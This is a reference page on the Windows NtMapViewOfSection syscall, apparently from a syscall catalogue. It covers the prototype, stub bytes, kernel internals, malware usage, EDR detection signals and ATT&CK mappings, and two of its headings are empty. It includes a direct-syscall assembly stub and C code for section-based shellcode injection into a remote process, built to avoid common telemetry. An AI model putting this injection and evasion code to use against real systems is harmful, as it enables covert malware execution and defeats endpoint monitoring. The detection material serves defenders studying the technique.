NtMapViewOfSection

Prototype

NTSTATUS NtMapViewOfSection(
  HANDLE          SectionHandle,
  HANDLE          ProcessHandle,
  PVOID          *BaseAddress,
  ULONG_PTR       ZeroBits,
  SIZE_T          CommitSize,
  PLARGE_INTEGER  SectionOffset,
  PSIZE_T         ViewSize,
  SECTION_INHERIT InheritDisposition,
  ULONG           AllocationType,
  ULONG           Win32Protect
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 28 00 00 00      mov eax, 0x28
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

`NtMapViewOfSection` is the userland entry point for the kernel `MiMapViewOfSection` family. SSN `0x28` has been stable across all shipped Win10/11 builds. Section-backed memory is a fundamentally different beast from `NtAllocateVirtualMemory`: views are backed by an `_SECTION` object (a file or pagefile), they share physical pages between processes, and they appear in VAD entries with `SubsectionBased`/`MappedFile` flags rather than `Private`. This dual nature — same bytes visible in two address spaces — is what makes it irresistible for injection.

Common malware usage

Foundation of section-based injection (`MapViewOfSection`-style injection, Process Doppelgänging, Process Ghosting, Transacted Hollowing, and Atom Bombing variants). Create a pagefile-backed section with `NtCreateSection`, map it into the local process with RW, copy shellcode, map the same section into a remote process with RX. The bytes appear executable in the target without any explicit `WriteProcessMemory` call. Used by FIN7 / Carbanak loaders, BumbleBee, the original Process Doppelgänging by enSilo, and various RAT loaders. Also the backbone of side-loading via `KnownDlls` poisoning.

Detection opportunities

Section-based injection deliberately avoids the `NtWriteVirtualMemory` and `NtAllocateVirtualMemory` telemetry that EDRs key on. However, Sysmon Event ID 7 (`Image Load`) and Event ID 8 (`CreateRemoteThread`) still fire on the consequences. ETW Threat Intelligence emits `EtwTiLogMapExecVm` whenever an executable view is mapped into a remote process — this is the dedicated signal. VAD analysis with PE-Sieve flags `MappedImage` regions whose backing file has been deleted (Process Ghosting) or whose section name does not match a legitimate KnownDll. `ObRegisterCallbacks` on `*PsProcessType` lets drivers strip rights from the section handle before it can be mapped cross-process.

Direct syscall examples

; Direct syscall stub for NtMapViewOfSection (SSN 0x28, stable across all Win10/11)
NtMapViewOfSection PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 28h          ; SSN
    syscall
    ret
NtMapViewOfSection ENDP

// Section injection: same physical pages mapped RW locally, RX in target.
HANDLE hSection = NULL;
LARGE_INTEGER max_size = { .QuadPart = 0x10000 };
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &max_size,
                PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

PVOID  local_view = NULL;
SIZE_T view_size  = 0;
NtMapViewOfSection(hSection, NtCurrentProcess(), &local_view, 0, 0, NULL,
                   &view_size, ViewUnmap, 0, PAGE_READWRITE);
memcpy(local_view, payload, payload_len);

PVOID  remote_view = NULL;
view_size = 0;
NtMapViewOfSection(hSection, hRemote, &remote_view, 0, 0, NULL,
                   &view_size, ViewUnmap, 0, PAGE_EXECUTE_READ);

// SSN 0x28 across every supported build, but still better to resolve dynamically.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                            "NtMapViewOfSection"));
set_ssn(ssn);
indirect_syscall_invoke(/* hSection, hRemote, &remote_view, ... */);

MITRE ATT&CK mappings

• T1055Process Injection
• T1055.012Process Hollowing
• T1055.013Process Doppelgänging
• T1620Reflective Code Loading